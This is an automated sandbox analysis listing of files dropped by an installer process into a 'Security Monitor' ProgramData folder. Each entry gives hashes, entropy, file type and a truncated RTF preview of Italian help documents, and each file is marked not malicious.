Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Times New Roman;}{\f11\fnil\fprq2\fcharset128 Arial;}{\f12\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red54\green95\blue145;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0\ri0\lin0\rin0\fi0\sb100\sa100\keepn\b\hich\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-COEKT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	6776
Entropy (8bit):	4.952214417097897
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2PuADGE7lqWiNBXa98XP00PDDP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yp
MD5:	1BD6D948821BAAD56E7BD929CE99BC3E
SHA1:	87753F34928DF1FDCE8D2AE17A734E2D032B7392
SHA-256:	179807CC391D4A379560F1E9119C44DBD0F8BABD7C9581758DDFD2C24D15CCA5
SHA-512:	CD8934815BBF3C6AA344CEDCA40732E4428DECC0F122F124B3AECD1720BA89A7D5A9BA0EE8AE4675C57C56B3ABFC44BB2AF2A868111ED7D23D156BCEAF0D6ADF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-DGK86.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10431
Entropy (8bit):	4.953862205312216
Encrypted:	false
SSDEEP:	192:su79jU9jV9jW9ju9j89jM9j39jO9jR6z6C6D6E6f6E6O6Y6Y222K2a2O2G2y2E2S:X9jU9jV9jW9ju9j89jM9j39jO9jR6z6o
MD5:	F253166C14180CDA4CF3682EBDA81E10
SHA1:	42CB7285AE2A1D8FFFBDB8E92DD762F116E6E5E7
SHA-256:	21604302E29A98F4F73EB4DD22C1B3FD52840C05B9438769E8568E69A2AD6890
SHA-512:	26EF9FFCDBE8D66B92954FA2DC046B7049B772B789BD4192D62CCDEA211D613413B241E1527396FCCF6087B041A526641C9D12F5C29810637C42AFF812A15061
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-EUMJL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9082
Entropy (8bit):	4.946432574686308
Encrypted:	false
SSDEEP:	192:I2KrPDFr222K2a2O2G2y2E2+2L9jn9js9j39jX9jR9jp9j+9j79ja6z6C6D6E6fp:7Q5r222K2a2O2G2y2E2+2L9jn9js9j3u
MD5:	54A49395929B70CCABC6247E0EA0F779
SHA1:	E522282035DAFE7216BF45CC21762172914D5949
SHA-256:	544C05722BA2824B871D8DC37CC442BF791C266F0E90D96C9A06BF3195D90AFA
SHA-512:	8111740D216DC20333574D61B4C3B39288846315B1EC0214E91B9633D5B48AF8EDF51C77432D0D1FAB10B961D81E6AA4ED981661D37E41DF3E9DD05C9B746DB4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Arial CYR;}{\f8\froman\fprq0\fcharset128 Arial CYR;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}{\f15\fnil\fprq2\fcharset128 Cambria Math;}{\f16\fnil\fprq0\fcharset128 Cambria Math;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang104

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-FGGGB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	17786
Entropy (8bit):	4.892369802650086
Encrypted:	false
SSDEEP:	384:TQ5h222K2a2O2G2y2E2+2L6z+CSD6E+fSE6O+YSY6z+CSD6E+fSE6O+YSS6z6C6w:TQ5h7HvTrbVLWsXixqh/1JsXixqh/1X+
MD5:	B7BE54FA07192D11B0624600C99D449E
SHA1:	372509E74C98F5BAE5A50088B4AA1B18711C834F
SHA-256:	0F599243F6282C72AAC90EEF278B4F7BD5B78161508E494ABAC24E719702DDDB
SHA-512:	20C131AE058B058F60D97E21D7E49BAB6FEC975229AFF7302F6559975CEA91F81130F8D1C15E7200A53A61AFB935FE7B3D608838AA0190A42D09D02C168CFE1C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Calibri;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\froman\fprq2\fcharset128 Calibri;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red0\green32\blue96;\red35\green0\blue220;\red0\green69\blue134;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Pr

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-G8N1U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47653
Entropy (8bit):	5.01810800814238
Encrypted:	false
SSDEEP:	768:2rFexbO6zLpzBDlmvTpIq7GHAR1BgpGk1WhWHi2mM47g0qO2ug04+2WNvg0tQ5qD:2rYbRs7d9ZvIA9t
MD5:	6E75BBD29A0618A73B2937F650F0F678
SHA1:	93EDB94323E37DDD1EC717F4A492442B6B611E3B
SHA-256:	718470BBCEF949095939C54CECB91D117D255A5279D55A204664CE52D1235180
SHA-512:	91C452D52360B231869031CB61255E83AF5D95D0F8C3A2AA0419AF659766E6E1CF4FD16FCE7C85A5EA5164E05C84282D0AA019FCAD85E292BE6D71400FA5D88E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f315\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-JJU8V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37355
Entropy (8bit):	5.0224273603988925
Encrypted:	false
SSDEEP:	768:2rF4DO6zLpzBMRQ1W7MiynhCGm7aVZ/6A9a:2raD7IA9a
MD5:	72215D6BB69B80AD421E5FBEC9CEE983
SHA1:	4DC407E1BF25A18F3C9B2F2E94440D3A0AC505D8
SHA-256:	0B1A02997F8DC944153BBEA47C302C3A155B1363A2A4F6A23218EB1BA9D1ACD8
SHA-512:	D1F1409D1E0946F84F3D3D3FBBB90BB23195A84402E0DA16A102C62E1198F28AB80046E805A3B4CAAD0B61039E07B57350133F1E0DCB3142A0B2487F1F1174B4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-JM4HO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7640
Entropy (8bit):	4.942902125699651
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y60yM4Nr2R7sB4OYWkXp+Mm:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	58A7AD4E00C3C48CAC983EAB83D93722
SHA1:	16790F7FED7A5490C15C6A25CD9851B4953E4CF0
SHA-256:	AE872798A7D87EFC10BA3FC5FE65CB5539F84548163F6DB7278705CE4802A0D4
SHA-512:	D609EA322D6AEF1C3EF5E38C749B9C9D168F9865111ACB8F2408D752C20CCE5E5658CD08EB5D2FE79E4627FC0290B33B0D73858FCC821A9D9981009E27EA96C1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-JMQT3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10281
Entropy (8bit):	4.953685836066729
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9S:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Z
MD5:	8D669B205AF7D1401C340D474FADE116
SHA1:	C61F519EF768F519E93F456D61FCEFE93EF1A058
SHA-256:	2B01786D3BA405BAA36920EF092701AF28CEA08F56507D4DE9717D47474C3B65
SHA-512:	0697175789BE81C29F0FBB5DD815FB46B553A6D241D8936C0E29F95D23651A2B730A893B98C90F6F3494B93FF0144F05DE95DB24D089EC01084C0FC8E36B3F70
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-MQ22E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7884
Entropy (8bit):	4.965317939103163
Encrypted:	false
SSDEEP:	192:zersYRcg17pzo2uz1FwLcxwSwbzUPhjNAqecUAySMnuturWGi:ZYf7doz1FwLcxwSwnUPhxAqecUAyLuIA
MD5:	83F331C3191915043D3C1F96D04AD2AA
SHA1:	1F5A281457AD229178ADFE68E6ED3C407DD15BA5
SHA-256:	864E70E0CBF1CBB5EF7B65EC5A90D617D299A0C896E17EA6C973BF5D0F44ADA0
SHA-512:	C047F469B1A5BF82D88443D33B1B26AA30B4CB1E5C8A515119B5D62B3D98C4761830761D0813994DAA9BDE86BB7F73ABF47ADDE25A74D6FCEA05D5F0E0E779B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Times New Roman;}{\f8\froman\fprq0\fcharset128 Times New Roman;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq2\fcharset128 Arial;}{\f13\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af9\dbch\af10\afs28\loch\f4\fs28 Intestazione;}.{\s16\sba

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-PKRPV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11086
Entropy (8bit):	4.962530121956413
Encrypted:	false
SSDEEP:	192:R2KwSyFd222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jl9ju9jV9j19j/9jX9C:Mrpd222K2a2O2G2y2E2+2L6z6C6D6E6h
MD5:	74D21CC581EFD9F3D31C02D2AD6A7881
SHA1:	701EEEA34850D7EE69EFF56E2344A79A7EAD147E
SHA-256:	9F632C17885E51A74C7875780F422952F1BC64DB978D8EBA765251F692C603E3
SHA-512:	97EC2913358966E62D5D69BD63D0D3C378457BE371702957F25358BAB2DD1C514F92AF769C4FA1A1A4CD3B23F1F7C0358E7B838CC80163CF78775634D4CAC8A4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Tahoma;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f9\fnil\fprq2\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Times New Roman;}{\f12\fnil\fprq0\fcharset128 Courier New Baltic;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af8\langfe2052\dbch\af9\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9082
Entropy (8bit):	4.946432574686308
Encrypted:	false
SSDEEP:	192:I2KrPDFr222K2a2O2G2y2E2+2L9jn9js9j39jX9jR9jp9j+9j79ja6z6C6D6E6fp:7Q5r222K2a2O2G2y2E2+2L9jn9js9j3u
MD5:	54A49395929B70CCABC6247E0EA0F779
SHA1:	E522282035DAFE7216BF45CC21762172914D5949
SHA-256:	544C05722BA2824B871D8DC37CC442BF791C266F0E90D96C9A06BF3195D90AFA
SHA-512:	8111740D216DC20333574D61B4C3B39288846315B1EC0214E91B9633D5B48AF8EDF51C77432D0D1FAB10B961D81E6AA4ED981661D37E41DF3E9DD05C9B746DB4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Arial CYR;}{\f8\froman\fprq0\fcharset128 Arial CYR;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}{\f15\fnil\fprq2\fcharset128 Cambria Math;}{\f16\fnil\fprq0\fcharset128 Cambria Math;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang104

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11858
Entropy (8bit):	4.924418755277587
Encrypted:	false
SSDEEP:	192:F9jmDF3222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6goaB7lE9mNUrloY1gTEzGS:Hq53222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	D6E34C937850FDC0AB38B06FE809B95C
SHA1:	A4480E9E250F5C3DC5BDD69696AB9F6EB12E8A56
SHA-256:	355420286A6BCDB2190129A5507012B55DC41FB0660ACE771D09F6E60FAFA173
SHA-512:	47F77867C8A5746DF79A29ABA70360BB2DF54F41C08B4B15E831421F76F24DC6B6AF0EE837084E5DDED8DAE3B549AD3236B5D668852BF357F990244FCE2E9D05
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Times New Roman;}{\f11\fnil\fprq2\fcharset128 Arial;}{\f12\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red54\green95\blue145;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0\ri0\lin0\rin0\fi0\sb100\sa100\keepn\b\hich\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47653
Entropy (8bit):	5.01810800814238
Encrypted:	false
SSDEEP:	768:2rFexbO6zLpzBDlmvTpIq7GHAR1BgpGk1WhWHi2mM47g0qO2ug04+2WNvg0tQ5qD:2rYbRs7d9ZvIA9t
MD5:	6E75BBD29A0618A73B2937F650F0F678
SHA1:	93EDB94323E37DDD1EC717F4A492442B6B611E3B
